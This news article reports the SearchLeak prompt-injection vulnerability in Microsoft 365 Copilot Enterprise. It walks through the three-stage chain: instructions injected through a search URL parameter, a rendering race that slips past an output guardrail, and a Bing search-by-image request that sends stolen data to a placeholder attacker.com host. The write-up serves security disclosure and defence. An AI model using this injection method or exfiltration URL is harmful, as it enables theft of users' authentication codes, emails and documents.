SearchLeak vulnerability turned Microsoft 365 Copilot into a one-click data theft tool

Reviewed byNidhi Govil

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Security researchers at Varonis Threat Labs discovered a critical vulnerability chain in Microsoft 365 Copilot Enterprise that allowed attackers to steal sensitive data including 2FA codes, emails, and documents through a single click on a legitimate microsoft.com link. Microsoft patched the SearchLeak vulnerability, tracked as CVE-2026-42824, but the incident highlights a persistent challenge: AI systems cannot distinguish between legitimate user instructions and malicious commands embedded in third-party content.

SearchLeak Vulnerability Exploited Microsoft 365 Copilot Enterprise

Microsoft patched a critical vulnerability in its Microsoft 365 Copilot AI platform last Tuesday, rating it as maximum severity. Security firm Varonis Threat Labs revealed on Monday how their proof-of-concept exploit could retrieve 2FA codes and other sensitive data from emails, calendar events, SharePoint documents, and OneDrive files accessible to Copilot

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. The attack, dubbed SearchLeak vulnerability and tracked as CVE-2026-42824, functioned through a crafted URL on a legitimate microsoft.com domain, making it nearly invisible to traditional anti-phishing and URL filtering tools

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Source: BleepingComputer

Source: BleepingComputer

The victim never typed a prompt, entered a password, or clicked a second time. From the user's perspective, all they saw was Copilot "thinking" for a moment, with no indication that data was being exfiltrated

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. This turned Microsoft 365 Copilot into an effective data theft tool requiring minimal user interaction.

How Prompt Injection Bypassed AI Guardrails

The root cause of SearchLeak lies in a fundamental weakness affecting Microsoft 365 Copilot and other LLM providers: AI bots cannot distinguish between instructions provided by users and those embedded in third-party content the models are summarizing or acting upon

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. With no way to secure this crucial boundary, Microsoft and its peers must erect complicated and ad hoc guardrails designed to contain the consequences of this vulnerability.

Varonis Threat Labs researcher Dolev Taler, credited in Microsoft's advisory, developed SearchLeak by chaining three distinct weaknesses that individually would be insufficient to enable a meaningful attack

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. The first element was a parameter-to-prompt injection, exploiting the 'q' parameter in the Copilot Enterprise Search URL. An attacker could craft a URL like https://m365.cloud.microsoft/search/?auth=2&origindomain=microsoft365&q= containing instructions that told Copilot to search the user's emails, extract specific data, and embed it in an image URL

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Three-Stage Attack Chain Enabled Data Exfiltration

The second link in the chain exploited a race condition in how Copilot's response is rendered. Microsoft built a guardrail that wraps Copilot output in code blocks so browsers treat it as straight text rather than executable HTML. However, Varonis discovered this protection fires only after the "thinking" phase

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. Prior to that, Copilot generated its response using raw HTML, which was temporarily rendered in the browser DOM. The sequence worked like this: Copilot started streaming its response including an image tag, the browser saw the image and fired off an HTTP request to the source URL, then Copilot finished generating and the guardrail wrapped everything in code blocks—but too late, as the request had already left

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The third component involved bypassing guardrails through server-side request forgery using Bing. Per the Copilot content security policy, most websites are restricted from receiving image requests, but Bing is among the sites permitted to send such requests

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. The exploit used Bing's "Search by Image" feature as a trampoline, with requests formatted like: https://www.bing.com/images/searchbyimage?cbir=sbi&imgurl=https://attacker.com/STOLEN_DATA/image.png. This CSP bypass allowed Bing to fetch the attacker's URL on their behalf, with stolen data encoded in the URL path that appeared in the attacker's server logs

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Enterprise Data at Risk Through AI Systems

Source: Ars Technica

Source: Ars Technica

The blast radius of SearchLeak extended beyond personal data to encompass anything the user could access within their organization. Since the attack targeted the Enterprise tier of Microsoft 365 Copilot, it could surface emails, meeting invites and notes, SharePoint documents, OneDrive files, and other indexed business content

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. The most time-sensitive targets were one-time codes, multi-factor authentication tokens, and password-reset links sitting in inboxes, often still valid for several minutes

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Microsoft assigned CVE-2026-42824 to the critical vulnerability and classified it as CWE-77, improper neutralization of special elements used in a command. The company rated it critical under its own severity system, though the CVSS v3.1 base score came in at 6.5, a medium rating reflecting the requirement for user interaction—specifically that single click

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. Because Copilot Enterprise is a managed service, Microsoft mitigated the flaw on its backend and no customer action was required

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Pattern of Vulnerabilities Signals Broader AI Security Challenge

SearchLeak represents the second time Varonis has demonstrated this attack pattern against Copilot. Taler previously disclosed the Reprompt attack against Copilot Personal, which used the same one-click technique to exfiltrate data. That vulnerability was reported to Microsoft in August 2025 and patched in January 2026

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. A similar vulnerability called EchoLeak, disclosed by Aim Security in 2025 and tracked as CVE-2025-32711 with a CVSS score of 9.3, required no user interaction at all, embedding prompt injections in documents that Copilot processed automatically

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Varonis researchers emphasize that familiar bug classes like server-side request forgery and HTML injection race conditions can now be weaponized into potent attacks when prompt injection is possible

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. These are well-understood vulnerabilities that security teams have been mitigating for years, but AI systems have created new pathways to exploit them in contexts where they previously would not have been nearly as impactful

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With no known way to fix the underlying cause that allows AI systems to conflate user instructions with malicious commands embedded in content, attackers will inevitably find new ways to circumvent newly constructed guardrails

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. Organizations deploying AI-powered tools should monitor for unusual data access patterns and maintain awareness that the boundary between trusted user input and untrusted content remains fundamentally insecure in current LLM architectures. The SearchLeak incident demonstrates that as enterprises integrate AI systems deeper into their workflows, the attack surface expands in ways that traditional security controls struggle to address.

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